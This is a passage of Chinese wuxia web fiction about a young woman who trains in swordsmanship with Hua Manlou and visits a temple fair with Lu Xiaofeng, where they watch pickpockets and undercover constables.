苏青青点头,但免不了疑惑:“但太祖长拳本就是太祖爷打天下的拳法,如果失了一往无前的刚猛,岂不威力大降?”
花满楼摇头:“你不是懂得《九阴真经》吗?拳法的要旨岂不正是刚中有柔,柔中有刚?招式本就是细枝末节,练到深处也没什么不同。”
苏青青若有所思,感觉好像懂了什么东西,但再想认真去理解,又觉得脑袋空空,她眨了眨眼,最终所有收获都消失了。
“我还没练到深处,拳法刚猛不对吗?”苏青青只好又问。
花满楼叹了口气,他很少叹气,但他此时竟觉得面前的少女比陆小凤还让人头大,她有一种过于执拗的坦率。
“你也许该试试柔和一些的功夫。”花满楼道。
“为什么?我的力气本就不如男人,若是学些以柔克刚的功夫,反而更没用了。”
花满楼道:“以柔克刚的功夫杀气不会这么重。”
“可是练武不就是要杀人的吗?”苏青青震惊,如果不能快速杀人,林商行会第一时间将她踢出队伍,甚至等不到被踢出队伍,她就会被人杀死。
花满楼道:“哦?”
苏青青难得严肃起来:“不杀死别人,便会被别人杀死。”
“只要到了这里,你就不会被任何人杀死。”
“可我不会一直在这里。”
花满楼又忍不住长叹了一口气,他已经知道苏青青是怀着杀人的目的在练武,所以才会在练武时爆发出强烈的杀气。
可一个女孩子,天天担心自己被别人杀死,已经可怜极了,他实在不忍心责怪她。
“你逛过庙会吗?过几天我带你去逛庙会。”
苏青青不知道花满楼为什么要提庙会,她很开心的应了:“好啊!”
她自认为花满楼不喜欢自己练刚猛的功夫,就又加了一句:“那我可以要一把剑吗?木剑就可以,有了武器,我就不怕以柔克刚的功夫杀伤力不够啦!”
16. 太极
花满楼是个温柔的人,他向来很能理解别人,也从不去勉强别人。
因此苏青青很快就得到了一把剑,一把真正的剑,它或许曾经是花满楼习剑时所用,但此刻已经属于苏青青。
苏青青接过长剑,轻轻抽剑出鞘,细长的剑身之上,剑光如一泓秋水。
“好剑!”苏青青赞道。
花家七童的剑,怎么可能不是好剑。
“此剑长三尺,通体为天外陨铁所铸,净重二斤三两,轻盈灵动。”花满楼道。
“当真要送给我?”这正是先前那把差点被苏青青装进背包的剑。
花满楼微笑颔首。
苏青青抱着失而复得的长剑,闭上眼睛用脸颊轻轻蹭了蹭剑鞘,剑鞘冰冰凉凉,苏青青忍不住笑了。
她当然以为花满楼看不到。
“剑乃君子之器,止戈为武,你用此长剑,当如春风化雨,润物无声。”花满楼叮嘱。
“嗯!”苏青青应了一声,随手挽了几个剑花,只觉得心应手,当下拉开架势,演练起太极剑法来。
她脚上动作仿佛极慢,但剑身挥出,有时又陡然变快,辗转腾挪间,长剑在空中挥洒出圆融的剑光。
花满楼静静听着,眉峰却忍不住微微蹙起,他已经感受到了剑风中的杀气。
苏青青一套剑法练完,收剑回鞘,院中的凛冽杀气随之消散一空。
花满楼道:“这是太极门下剑法。”
苏青青道:“这是武当张真人所传太极剑。”
花满楼闭上了嘴。
……
苏青青得到这把长剑,简直如鱼得水,一遍遍演练太极剑法,不知疲倦。
花满楼有心劝阻,却知她性子执拗,索性取琴相伴。
空气中传来花满楼柔和的琴音,那声音在苏青青听来,好像在炽热的夏天传来一振清凉的风,又像是雨点打在屋檐上,你坐在屋里听着,心里又安宁,又自在。
苏青青只觉内心一阵空明,练剑已经不是练剑了,简直就像久坐后舒展筋骨般自然
一曲终了,苏青青看空中面板:
【太极剑法37/200(掌握)】
点数涨的好像有点多。
她跑去请教花满楼:“花公子,为何我感觉方才那遍剑法练得格外顺畅?”
花满楼道:“道法自然,你越执着,不就越得不到其中真意吗?”
“哦。”苏青青觉得他说的有道理,但如果不执着一点,等“自然”了再练,那都不知道死多少次了。
花满楼道:“我看你天赋奇绝,短短一上午就已经将剑法入门,欲速则不达,不妨休息一二。”
“谢谢花公子!”
苏青青乖乖跑回房间,打坐休息。
【九阴真经·残篇 4/50(入门)】。
调息过后,苏青青神清气爽,她又返回院中练剑,也许是骨子里想和花满楼较劲,苏青青把动作做的更快了一些。
她要试试用最快的速度刷太极剑法。
一盏茶时间过后,看着【太极剑法37/200(掌握)】,苏青青挑了挑眉。
她随意下马步,转弓步,感觉腿部力量又足了一点,下一遍还能更快。
这种肉眼可见的身体和数值提升让苏青青沉迷其中,剑法练累了就练内功,内功休息好了就转剑法。
花满楼为她号了脉,但见她没什么损伤,只是身体见亏,简直大吃一惊。
从那时开始,虽然他对于苏青青的行为极不赞成,但小楼的膳食肉眼可见的丰盛起来了,清粥小菜变成了酱牛肉和药膳,白面馒头变成了肉包子。
苏青青日夜苦修,在面板的帮助下迅速成长。
如此反复了七天,苏青青心无旁骛,一心只想着提升实力,好在逛庙会时有自保之力,如今摇身一变,倒也算个能跻身江湖的末流好手了。
【九阴真经·残篇 25/50(入门)】
【太极剑法10/1000(熟练)】
让苏青青苦恼的是,内功修为是水磨功夫,进展缓慢,而太极剑法越过掌握阶段后也不再几个点几个点上涨。
不过,这几天的功夫下来,她俨然已经从干瘦的小女孩变得圆润了起来,连个子都仿佛肉眼可见的高了。
陆小凤
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飞掠回小楼的时候,恍惚间以为自己走了半年?
小姑娘穿着一身短打装扮,头上挽了一个发髻,用一根绳子绑着,袖口紧束,长剑挥洒之间已经很是干净利落。
陆小凤在花满楼身边落脚,还没站定,已经把手往花满楼身上一搭,懒洋洋的斜靠了。
“这是太极门的剑法?”
花满楼微笑道,“这是武当张真人的太极剑法。”
“好重的杀性。”
“已经轻的多了。”
苏青青这时候也已经看到了陆小凤,她匆匆练过一遍,收剑奔来。
“陆大哥。”她问过好,就站在那里期待的看着陆小凤,一幅很乖很乖的样子。
陆小凤一只手往怀里一掏,掏出一张纸来,苏青青要去接,他却拿纸扇着风,自言自语道:“哎呀,我怎么感觉口有点渴?”
苏青青立刻跑去倒了一杯茶来,一手递茶杯,一手准备拿总纲翻译。
陆小凤却反手把纸塞回怀里,拿着茶杯喝了一口,咂咂嘴道:“这一路奔波,肚子好像也空了。”
苏青青立刻跑去厨房。
这几天她天天刻苦练功,一直没机会大显身手,此时机会来了,她准备做一碗阳春面,震惊陆小凤。
面粉、葱、水、鸡蛋。
苏青青将物品一一摆在案板上,然后开始了手搓。
不是揉面粉,是真正的“手搓”,她两手相对,中间虚空,如抱太极,一顿来回揉搓之后,苏青青愣在了原地。
“她在做什么?”花满楼觉得瞎子确实有点不方便了。
“兴许是……太极拳。”陆小凤道。
苏青青转头去盯着两人。
陆小凤道:“你不是练太极,难道是在做饭?”
“我在做阳春面!”
陆小凤哈哈大笑,笑的捧起了肚子。
花满楼也忍不住笑着摇头。
……
陆小凤和花满楼最终还是吃上了阳春面,在街口的摊子上。
刘老头的阳春面做的并不算很地道,但只要三文钱一碗,而且,刘老头真的会揉面,也真的会烧火。
17. 庙会1
吃完阳春面回到小楼的时候,陆大爷还是一幅很得意的样子。
他手腕一翻,只听“唰”的一声,那份总纲便从怀里抽了出来,接着“啪”地一下,被他拍在桌面上。
“其实这东西本没什么难度”陆小凤道,“但凡找个精通梵文的和尚,都能译个八九不离十。可麻烦在于,精研梵文的和尚,多半不通武艺。”
苏青青这次没有急着去拿。她隐隐觉得,眼前这位陆大爷,似乎格外享受被人追捧的感觉。
当下心领神会,这该是自己捧场的时候了。“多亏陆大哥你交游广阔,朋友遍天下,才能找到这般合适的人选。”
陆小凤伸出一根手指,得意的摇了摇,“这样的朋友,我陆小凤少说也能找出十来个。不过嘛,”他话锋一转,“这十来个里头,大半是真正的佛门弟子,讲究的是四大皆空、六根清净,可不懂什么‘三花聚顶,五气朝元’的道家玄机。”
“所以,”苏青青立刻接口,“翻译这总纲的人,非但要精通梵文,还得深谙道家内丹修炼之法。”
“不错!”陆小凤眼中得意之色更浓,“你说巧不巧?这样的朋友,我恰好也认得几位。其中一位,离此地还不算远。”
苏青青立刻用充满崇拜的眼神望向他。她的演技或许生涩,但此刻心中确有几分真心实意的佩服,这眼神便显得格外真诚。
陆小凤显然极为受用,手掌轻轻一拂,那份薄薄的总纲便如被无形丝线牵引,稳稳地飞入苏青青怀中。
苏青青惊喜地接住,指尖触到微凉的纸张。
她迫不及待地翻开,只略略扫了几行,心头便是一震,翻译之人,必定是集梵文、道家、武学于一身的大才!
她转头又去看花满楼:“花公子要听听吗?”
花满楼摇头:“自家根底莫要轻易示人。”
苏青青点头受教:“明白了!那我去练功了!”她转身欲走,忽又停住脚步,带着几分好奇问道:“你们……不需要练功吗?”
陆小凤神秘莫测地眨了眨眼,嘴角噙着一丝促狭的笑意:“你猜呢?”
苏青青撇撇嘴,不再理会,转身快步回了自己房间。
关上门,苏青青便迫不及待地细细研读起总纲来。
依照其中所述的法门,她盘膝而坐,引导体内气息流转。果然,原先那股因功法残缺而导致的阴寒滞重之感,在正宗心法的疏导下渐渐化开,内力运转顿时顺畅了许多,连修炼速度都仿佛快了几分。
这正宗的道家功法,中正平和,尤重养生。苏青青沉迷其中,昼夜苦修,非但没有感到精神倦怠,反而觉得神清气爽。
这个状态是被陆小凤打断的。
很大的拍门声,配着陆小凤的高声呼唤将苏青青唤醒。
苏青青还没往外看,就立刻察觉到今日的不同寻常。天色刚蒙蒙亮,但外面已传来一阵阵喧嚣的人声,远远近近,熙熙攘攘比往日热闹了不知多少倍。
“起了起了!”苏青青迅速起床,手忙脚乱的换上张大娘早早准备好的庙会装扮,上身是件绿色窄袖襦衫,下头配了条淡黄色罗裙,她将配饰七七八八的挂上,匆匆洗漱完毕,挽了一个单髻,便推门出去。
厅堂里,花满楼正提着水壶,悠然自得的给花浇水。陆小凤则歪在椅子里,翘着二郎腿,慢悠悠地品着茶,哪有一丝着急的模样。
“原来这丫头梳洗起来,竟然比男人还快。”看到苏青青出现在眼前,陆小凤打趣道。
若在初识时,苏青青听到这话多半要脸红。可如今相处几日,她似乎已有些习惯陆小凤这没正形的调侃。此刻非但不脸红,心头反而涌起一股想瞪他的冲动。
好在她忍住了,只是微微偏过头,不去看他那促狭的笑脸。
“今天大家好像都起的格外早?”苏青青岔开话题,走到窗边问花满楼。
“大家都要去庙里请神祈福。”花满楼道。
苏青青探头望去,只见长街之上已是人头攒动。扶老携幼的,呼朋引
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伴的,摩肩接踵,笑语喧天。这般景象,竟比她记忆中少林寺开武林大会那天还要拥挤几分。
“平日里好像并没有这么多人。”
“自然,”陆小凤放下茶杯,踱到她身边随手掐了花满楼一朵红花插在苏青青发髻上,“方圆几百里的乡亲,都赶着来凑这份热闹。”
苏青青摸了摸头上的花,暗自原谅了他的促狭。
……
三人很自然地汇入了这股热闹的人潮。街道两旁早已支起了各式各样的摊子,卖吃食的香气四溢,卖小玩意儿的琳琅满目。
吆喝声、讨价还价声、孩童的嬉闹声混杂在一起,汇成一股充满生气的洪流。
苏青青只觉自己像海里一片最无足轻重的浪花,被人群裹挟着前进,不时有人擦着自己走过去,但这些并不影响苏青青的兴奋。
她看得眼花缭乱,东张西望,只觉新奇无比。
陆小凤瞥了她一眼,见她乐在其中,也就不去理会。
正走着,忽觉腰间被人轻轻擦碰了一下,分量似乎也轻了些。
她下意识地低头看去,只来得及瞥见一只灵活的手迅速从她腰际缩回,旋即隐没在汹涌的人潮里,消失得无影无踪。
“喏。”一只熟悉的手突然伸到她面前,掌心摊开,正是今天早晨她系在腰间的荷包。
“多谢陆大哥!”苏青青惊喜万分,连忙从陆小凤手中接过荷包,小心翼翼地重新系回腰间。虽然里面什么都没有,但这荷包可是她的“行头”,丢了总觉得少了点什么。
刚系好荷包,往前走了还不到一条街,迎面两个半大孩子追逐打闹着冲了过来。前面那个边跑边回头做鬼脸,嘻嘻哈哈,根本没看路,“咚”地一下结结实实撞在了苏青青身上。
苏青青差点被撞一个趔趄,好在她如今下盘稳定,忙伸手扶住那孩子。可还没等她开口,两个孩子已泥鳅般从她身边滑过,咯咯笑着跑远了。
看着孩子们快活的背影,苏青青也不禁莞尔。
18. 庙会2
笑容在苏青青脸上停留了不到一息,就已转移到陆小凤脸上。
陆小凤的突然出现在她面前,两人面对着面,他明明是倒退着走,两旁的人群却仿佛自动为他让开了一条缝隙。
他带着一种尘埃落定般的笑容,目光看向苏青青腰间:“荷包呢?”
苏青青下意识地低头一看——腰间空空如也!那刚系上没多久的荷包,竟已消失不见!
她猛地瞪大了眼睛,难以置信:“是……是刚才那两个孩子?”
陆小凤点了点头,身形一晃已贴近她身边,带着点过来人的教训口吻:“人多的地方,三只手自然也多。既然有大贼,自然也有小贼。”
不知何时,拥挤在苏青青身侧的人群似乎悄然散开了一些,在她周围形成了一小圈若有若无的空隙。
是内力?还是气势?
她立刻看向花满楼——每次紧要关头,她总会短暂地忘记花满楼是个瞎子。
只见花满楼手持折扇,步履从容地走在人潮之中,衣袂飘然,竟也是无一人能碰到他衣角。
“好厉害!”苏青青由衷赞叹,眼中瞬间燃起热切的光芒,立刻转向陆小凤,“陆大侠,请务必教我!”
陆小凤摸着胡子:“好说,好说。等你内力再深厚些,自然就会了。”
苏青青叹了口气,心头泛起一丝对过去的怀念。在那个世界里,似乎很难被人轻易撞到,为什么呢?
“不过嘛,”陆小凤话锋一转,“倒也不是完全没有速成的法子。”
“什么法子?”苏青青眼睛一亮。
“但你好像……没正经练过轻功身法?”陆小凤上下打量着她。
苏青青沉默了。《九阴真经》里的确记载了一门“蛇行狸翻”之术,身法灵巧异常,尤其擅长在方寸之地闪转腾挪,以弱胜强。
但这身法的问题也显而易见——蛇和狸猫虽然也有纵跃之能,但其精髓在于贴地翻滚滑行。说白了,就是在地上滚。
在游戏里自然不用担心衣服脏污,形象受损。毕竟其中的每个人都像失了智一样。
可在这现实之中,尤其对个姑娘家来说,要她在大庭广众之下满地打滚……这画面想想都让她头皮发麻。
陆小凤似乎看穿了她的顾虑,伸手拍了拍她的肩膀:“你可知当今天下,轻功绝顶的都有哪几位?”
苏青青虽不知具体有谁,但心中已有答案:“是不是……有你?”
陆小凤神秘一笑,四根眉毛都仿佛扬了起来:“想不想学?”
苏青青眼睛瞬间亮了:“你要教我?”
陆小凤凑近一步,压低声音,带着十足的诱惑:“你若肯老老实实告诉我你的来历,我倒也不是不能考虑。”
苏青青脸上的期待瞬间化为恼怒,狠狠瞪了他一眼,甩开他还搭在自己肩上的手,向前挤去,很快便没入人群之中。
陆小凤和花满楼相“视”摇头,带着几分无可奈何的笑,缓步跟了过去。
苏青青挤进人群中就有些后悔,但汹涌的人群裹挟着她,面子也不允许她回头。
她也只能暗自懊恼,怎么来到现实之后脾气还坏起来了,难道这就是血肉之躯的副作用?
现实没让她懊恼多久,四处飘散的香气让她饥肠辘辘,她倒也想买些吃食,哪怕是一个馒头。
可腰间空空如也,连那个象征性的空荷包都已不知去向。
就在这时,那只熟悉的,骨节分明的手再次从面前伸了出来,他手里捏着的,正是一包热腾腾的糖炒栗子,浓郁的甜香勾的人食欲大振。
“请你吃糖炒栗子!”陆小凤声音自然,仿佛刚才的那点小小的不愉快从来没有发生。
香气扑鼻,苏青青心头那点气性顿时烟消云散,甚至涌上一丝愧疚。
人家陆小凤和花满楼一路帮衬,自己却这般耍小性子……
她接过温热的纸包,小声道:“多谢陆大哥。”
陆小凤叹了口气,故作愁苦状:“唉,此时我本该在小楼软榻上躺着,品着美酒,逍遥自在。现在倒好,像个呆子似的,在这人堆里挤来挤去,还得想法子哄女孩子开心。”
“我没有要你哄。”苏青青又忍不住反驳,却已感觉自己脸部微微发热。
陆小凤摇头,“女人们说话为什么总是要口是心非呢?甚至连你这么小的女孩子都不能例外。”
苏青青突然问道:“你见过很多口是心非的女孩子?”
陆小凤也突然凑近苏青青,直直盯着她的双眼,道:“你承认自己口是心非了?”
苏青青看到陆小凤的眼睛里满是笑意,脸颊更热了几分。
她掰开一颗滚烫的栗子,将香甜的栗仁塞进嘴里,用力地咀嚼着,好像在咬什么人。
“当~当~当~”
就在这时,不远处的城隍庙方向,传来三声庄严洪亮的钟鸣!
钟声未歇,陆小凤和花满楼
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几乎是同时出手!苏青青只觉两股柔和却不容抗拒的力道分别抓住了她的左右胳膊,身体骤然一轻!
她一时惊慌,手中那包只吃了一颗的糖炒栗子倾泻而出,金黄的栗子哗啦啦撒了一地。
三人轻巧地掠过下方攒动的人头,越过城隍庙高大的门楣,稳稳落入了庙内正殿前方一片视野稍好的空地。
这里早已聚集了不少虔诚等待的香客和看热闹的百姓,几乎已经无处落脚!
苏青青来不及打量四周,赶紧拿起包糖炒栗子的油纸,里面已经所剩无几。
回忆中的糖炒栗子好像更香了。
花满楼轻轻拍了拍她的肩,带着歉意低声道:“抱歉,青青。钟鸣后,仪式就会开始,不过片刻,此地就会人满为患”
“没关系的,花公子。”苏青青立刻摇头,花满楼的温和总能让她心情平复。
但她还是忍不住偷偷瞥了陆小凤一眼,想看看他对自己痛失栗子有何表示。
陆小凤却把手指放在唇边,轻轻“嘘”了一声,示意苏青青看向正殿。
苏青青顺着他的目光望去。只见正殿之内,高大的城隍塑像前,香烛缭绕,烟雾弥漫。
几名身着道袍、头戴法冠的道士正神情肃穆地焚香诵经,低沉的经文声在殿内回荡,带着一种庄严肃穆的力量。
“这就是庙会?”苏青青小声问身旁的花满楼。她想象中的庙会该是锣鼓喧天、百戏杂陈的热闹景象,眼前这场面未免过于庄重了。
花满楼面向大殿的方向,脸上带着温和而理解的笑容:“这是巡游前的祭礼。要将城隍爷金身请上神轿,巡行四方,护佑百姓,确实需要一番庄重的仪式。”
苏青青恍然大悟,兴致勃勃的看了一会。
但祭礼实在枯燥,苏青青很快失去兴致,只是不愿拂了花满楼的好意,只好边剥栗子,边打发时间。
她吃的仔细,一颗栗子要吃四口,饶是如此,栗子也很快见底。
日头渐渐升高,阳光透过高大的殿门洒落进来。冗长的焚香诵经终于结束。
苏青青精神一振。
但紧接着,一位身着簇新官服、头戴乌纱的中年官员,在一众随从的簇拥下走到殿前。
他清了清嗓子,开始抑扬顿挫地宣读一篇长长的、文绉绉的祭文。内容无非是祈愿风调雨顺、国泰民安之类,遣词造句颇为古奥。
苏青青听得无聊,发现陆小凤也在偷偷瞥她。
19. 庙会3
两人对视,陆小凤用衣袖抹着额角压根看不见踪迹的汗珠,苦着脸凑到苏青青耳边,声音压得极低。
“我真是个不折不扣的大傻蛋!放着逍遥快活的日子不过,偏偏起了个大早,跑到这儿来听道士念经,庸官讲这些八股文章!”
这话简直说到苏青青心坎里去了!她立刻用力点头表示深有同感,但碍于场合庄重,连大气都不敢喘,更不敢出声附和。
陆小凤显然也待不下去了,他悄悄伸出手,一把拽住苏青青的袖子,低声道:“跟我来。”
随即不由分说,拉着她巧妙地左穿右插,悄无声息地从人群边缘溜了出来。
苏青青感觉刚才的自己好像一条滑不溜手的泥鳅。
挤出人墙,顿时觉得空气为之一清,连呼吸都顺畅了许多。
苏青青长长舒了口气,这才想起花满楼还在里面,轻声问陆小凤:“花公子怎么办?我们还进去吗?”
陆小凤回头瞥了一眼正殿方向,嘴角勾起一抹了然的笑意:“你真的以为他在‘看’庙会?”
苏青青看着陆小凤,没开口,但双眼中的意思分明是:“不然呢?”
陆小凤轻轻摇头,目光仿佛穿透了人群,落在那个安静伫立的身影上:“他‘听’到的,感受到的,比我们用眼睛看到的,要丰富得多,也真切得多。”
那里面的每一缕香火气息,每一声虔诚的祈祷,甚至是那官员抑扬顿挫里透出的官腔味道,对花满楼而言,是不是都格外鲜活而生动?
苏青青想起花满楼对生命的热情,对世间万物的感知方式,似乎有些明白了。
但苏青青忍不住又问了一句:“可是,花公子不会觉得空气有点…”
陆小凤伸手敲了敲苏青青的头。
两人离开正殿喧嚣的核心区域,来到庙宇内人流相对稀少的侧院和廊道。
这里气氛轻松了许多。苏青青看到有人踮起脚尖,小心翼翼地将红绳系在百年古树的枝桠高处。
也看到远处的戏台子旁,已经聚拢了一大群翘首以盼等开锣的戏迷。
更让她目光停留的,是墙角下整整齐齐排成一排端着破碗蹲在地上的乞丐。他们衣衫褴褛,形容枯槁,与这节日的喜庆格格不入。
苏青青心头一软,下意识的动作是想打赏一二,然而她一个大子儿也没有。
她想起之前的遭遇,又看了看那些乞丐,一时踌躇起来。是给?还是不给?自己身无分文,又能给什么?
“我劝你不要好心。”陆小凤的声音在身边淡淡响起。
苏青青疑惑的看向他。
陆小凤没多解释,径直走到旁边一个卖糕点的摊子前,随手买了一包松软的桂花糕塞到苏青青手里。
然后拉着她走到不远处一个相对僻静、又能清晰看到那排乞丐的石凳上坐下。
“别说话,仔细看着。”陆小凤示意她。
苏青青边吃边看。
只见那一排乞丐依旧蹲在墙角互相闲聊,偶尔有路过的善心人往他们的破碗里丢下几个铜板。
每当此时,那收到钱的乞丐便会立刻感激涕零,口中念念有词。
然而等施舍的人一走开,他们便又恢复了那副相互闲聊的状态……
“他们好没有行业操守。”苏青青忍不住吐槽。
陆小凤欲言又止。
就在这时,远处突然传来一声尖利急促的呼喊:“我的玉佩!抓小偷啊!!”声音来自一个衣着光鲜、神色惊慌的年轻公子哥。
苏青青立刻循声望去,只见那公子哥在人群中慌乱地四处张望、摸索。
她自己也紧张地扫视周围,试图找出可疑的身影,但眼前人头攒动,哪里分辨得出?
“好多的坏人……”苏青青喃喃道,心头为那公子哥着急。
然而,几乎就在公子哥喊出声的同时,墙角那群乞丐中,一个原本蹲着的精瘦汉子猛地弹了起来!
他动作迅捷如豹,目光锐利地扫过人群,瞬间锁定了一个正试图往人群深处钻的、穿着毫不起眼的灰布短褂的男子!
“站住!”乞丐一声暴喝,身形如离弦之箭般射出,几个起落便追上了目标。
他手法干净利落,一把扣住灰衣男子的手腕,反手一拧!
那灰衣男子吃痛,想要反抗,但不知他又从哪里拿出一条麻绳,三下五除二就将那灰衣男子捆了个结实!
“你…你抓我干什么!我冤枉啊!”灰衣男子挣扎着喊冤。
乞丐全不理睬,一只手已闪电般从其怀中掏出一个碧莹莹的玉佩,紧接着,迅速收入自己怀中!
他的动作快如闪电,如果不是苏青青一直盯着,恐怕还看不见。
紧接着,那乞丐一手拽着捆人的麻绳,在众人惊愕的目光中,拖着灰衣男子,大步流星地朝庙外走去,转眼就消失在拐角。
苏青青目瞪口呆,几乎要拍手叫好,但她
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的眼神突然又扫过人群中的公子哥。
“他…”苏青青发热的脑袋逐渐清醒过来,“他是不是拿走了人家的玉佩?”
陆小凤点头:“不错。”
“为什么?”
陆小凤却不回答,看向墙角那几个剩下的乞丐,“你知不知道他们是什么人?”
“他们不是乞丐?”苏青青终于反应过来,压低声音问道。
“当然不是!”,陆小凤凑近她耳边,声音压得更低,带着引导的意味,“你仔细看那几个‘乞丐’的衣服,和普通乞丐有什么不同?”
苏青青觉得耳边被他呼出的热气弄得痒痒的,不自在地往旁边挪了挪,这才细细观察。
那些人的衣服确实破旧不堪,打着各种补丁,很多地方甚至磨出了毛边。
苏青青看了半晌,不好意思的凑回陆小凤身边去,“我看不出。”
陆小凤慢悠悠道,“你有没有发现,他们的衣服虽然破旧,但料子并不算太差?而且,那‘破’得很有章法,像是刻意为之?”
苏青青老实摇头,她看着一点儿也不刻意。
“你刚才经过他们附近时,可曾闻见什么酸馊异味?”陆小凤噙着自信的笑,问道。
苏青青一愣,仔细回想,方才靠近时,除了庙里香火和食物的味道,似乎……确实没闻到其他味道。
“没有,但乞丐难道不能洗澡?”苏青青嘴硬。
陆小凤无奈,只能又道:“你再去看他们的皮肤。”
苏青青再定睛细看,那些“乞丐”露在外面的皮肤虽然黑,但绝无一丝营养不良的枯槁,甚至比部分游客的皮肤更加圆润,透着健康的色泽,更无污垢堆积的油腻感!
偶尔有人动作幅度稍大,掀起一点衣角,露出的内里衣物边缘,竟是出人意料的干净!
“他们的皮肤……虽然看起来脏,但里面很干净!衣服里面也不脏!”苏青青低呼,像是发现了什么大秘密。
陆小凤赞许地点点头:“孺子可教。还有,你不觉得这庙会角落里的‘乞丐’,数量有点太多了吗?”
“乞丐不允许聚集吗?”苏青青已觉得十分不对,但还是试图理解。
陆小凤轻笑:“乞丐以乞讨为生,讲究的是分散开来,各占一处‘码头’。聚在一起,哪还有‘生意’可做?这道理连最笨的小乞儿都懂。”
苏青青恍然大悟:“你说得对!所以他们根本不是普通乞丐!”
20. 庙会4
“他们是公门中人!”陆小凤道。
“他们是丐帮弟子!”苏青青道。
两人几乎同时脱口而出,话音落下,不由得相视一眼,眼中均是惊讶之色。
尤其是陆小凤,他行走江湖多年,与挚友间往往一个眼神便能心意相通,可自打遇见这苏青青,却屡屡有种“秀才遇见兵”的错愕感。
她的思路总是如此与众不同,偏偏又总能有她的道理。
陆小凤眼神看向正殿方向,“如此盛大庙会,龙蛇混杂。官府若不做些安排,任凭宵小横行,那这城里的捕头、总捕,恐怕也就当到头了。”
苏青青若有所思地点点头,捕快抓贼,合情合理。
但她立刻想起方才那突兀的一幕,追问道:“既然他们是捕快,那为什么那个公子的玉佩,被拿走了,却没当场还给他?”
陆小凤眼中闪过一丝精光:“这其中有多种可能……”
“其一,你怎知那哭喊着丢了玉佩的公子哥,就一定是真正的苦主?
“说不定,他才是那‘钓鱼’的饵,和刚才抓人的‘乞丐’本就是一伙的呢?”
“其二,你怎知那公子哥不是贼?也许他和被抓的人本就是一个愿打一个愿挨,在上演引蛇出洞?”
“其三,你也不知道玉佩是不是他丢的那一块,也许这位公子今天早晨忘记带玉佩了。”
苏青青听得倒吸一口凉气,只觉得这看似热闹祥和的庙会之下,竟藏着如此多的弯弯绕绕。
人心之险恶,弯弯绕绕之多,远超她这个初涉江湖的小菜鸟的想象。
苏青青隐隐觉得有些不妙,这个世界,心眼子也太多了,
“但是,”苏青青还是提出了一个真诚的好人,最为朴素的疑问,“如果他真的就是那块玉佩真正的苦主呢?”
陆小凤闻言,突然绽开一个极其神秘的微笑。
如果苏青青精通人情世故,就能够看得出,那笑容里,都是世故。
苏青青还待追问,只见陆小凤示意苏青青看向那群“乞丐”所在的方向。
苏青青转头去看,只见那群乞丐中,竟然有一个人站了起来,他前行的方向,正是苏青青和陆小凤的所在。
“我们不跑吗?”苏青青下意识问。
陆小凤摇头:“跑什么,他只是来打个招呼。”
那人的确就是来打招呼的,身为公门中人,如果他们被指指点点的议论了半天还没有反应,那多半离死不远了。
乞丐几步走到两人近前,他虽还是一身乞丐打扮,但此时自有一股干练之气。
他目光在陆小凤那张极具辨识度的脸上扫过,随即抱拳拱手:“敢问阁下,可是‘心有灵犀一点通’的陆小凤陆大侠?”
陆小凤微微一笑,坦然回礼:“正是在下。不知这位捕快大哥有何指教?” 他直接点破了对方身份。
那汉子脸上露出一丝“果然如此”的了然,也省去了客套:“陆大侠慧眼。我等职责在身,不便久留,特来打个招呼,望陆大侠勿怪扰了雅兴。”
陆小凤颔首:“公门辛苦,职责所在,理解。”
那捕快再次抱拳:“告辞。” 说完,干脆利落地转身,迅速融入了乞丐群中,变成了一名真正的乞丐。
刚才那短暂的接触,让苏青青心头泛起一种奇异的感觉。
陆小凤在她眼中,似乎瞬间变得既熟悉又有些陌生。
就像你突然发现,那个整天跟你嬉皮笑脸、插科打诨的损友,摇身一变成了皇帝遗落民间的皇子,身份地位骤然天壤之别。
“发什么呆?”一只大手在她眼前晃了晃,陆小凤似是极为无奈,“怎么?被我的风姿迷住了。”
熟悉的腔调传入耳中,苏青青心头那点莫名的疏离感瞬间烟消云散,有些羞赧起来:“少臭美!我只是在想……怎么谁都认识你!”
陆小凤得意的大笑,笑的周围人都看了过来。
苏青青果断起身,往远离陆小凤的方向走了几步,假装不认识他。
就在这时,“咚!锵!噼里啪啦——!”
正殿方向骤然爆发出一阵震耳欲聋的锣鼓声和密集的鞭炮轰鸣。
苏青青循声看去,正殿方向人群瞬间沸腾起来,欢呼声浪此起彼伏。
“神轿起驾了!”有人兴奋地高喊。
“要去看看吗?这可是庙会最热闹的场面。”陆小凤高声问苏青青。
苏青青望了一眼正殿门口水泄不通的人流,连连摇头:“算了算了,我可不想再被挤成馅饼!”
陆小凤被她的形容逗乐,转而问道:“那要不要去上柱香?城隍爷巡游前,香火最是灵验。”
“上香?城隍爷可以保佑什么?”苏青青倒是对神明的存在很信服。
陆小凤一本正经,“可以保佑你平安顺遂,武艺精进,早日神功大成。”
她立刻来了精神,回身拉着陆小凤的袖子就往正殿方向挤,“那还等什么?快走快走!晚了城隍爷该出门了!”
巨大的香炉前早已是人山人海,信徒们手持高香,虔诚叩拜,烟气缭绕得几乎看不清人脸。
苏青青拿着自己已经点燃的,许完愿的香,仗着自己练了几天功夫,奋力想往里挤。
可任她如何努力,也只能在外围打转,连香炉的边都摸不着。
眼看香越来越短,她拿着香回到陆小凤身边,声音都不自觉的谄媚了起来:“陆大哥,你轻功绝顶,想来上柱香不难吧?”
陆小凤撇了一眼,伸手拿过香。
苏青青翘首以待,想看看陆小凤如何脚不沾地将香放入
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香炉,又能在不借力的情况下腾身飞回。
但陆小凤只是随手一甩,三支香就稳稳从众人头顶飞过,直直插入香炉中。
苏青青跳着着往里看,隐隐约约见到香炉的正中间,孤独的燃起了三只短香。
苏青青震惊了半晌,感慨道:“怪不得刚才那位捕快大哥说你是‘心有灵犀一点通’。”
陆小凤又露出得意的神情,过了半晌,才慢悠悠地问:“要不要去那边求个签?”
苏青青闻言斩钉截铁道:“不要!我的命运怎么能掌握在一根小小的竹签手里?”
“哦?”陆小凤挑眉,拖长了调子,“可你刚才不是还……”
“神可以保佑我,不能左右我。”苏青青立刻打断他,语气坚定。
陆小凤摇头失笑。
两人好不容易从香火最盛的区域挤出来,空气顿时清爽了许多。
不远处,戏台上的锣鼓点已经敲响,咿咿呀呀的唱腔飘了过来。
另一边,那棵挂满祈福红绳的古树下,人反而更多了。
无数条寄托着心愿的红色丝带密密麻麻地缠绕在低垂的枝桠上,远远望去,如同一片燃烧的火焰。
苏青青驻足观望。只见一位头戴轻纱帷帽、身姿窈窕的小姐,在丫鬟的搀扶下,莲步轻移,走到树下。
她纤细的手指拈起一根崭新的红绳,踮起脚尖,无比虔诚的将它系在一根略高些的枝头。
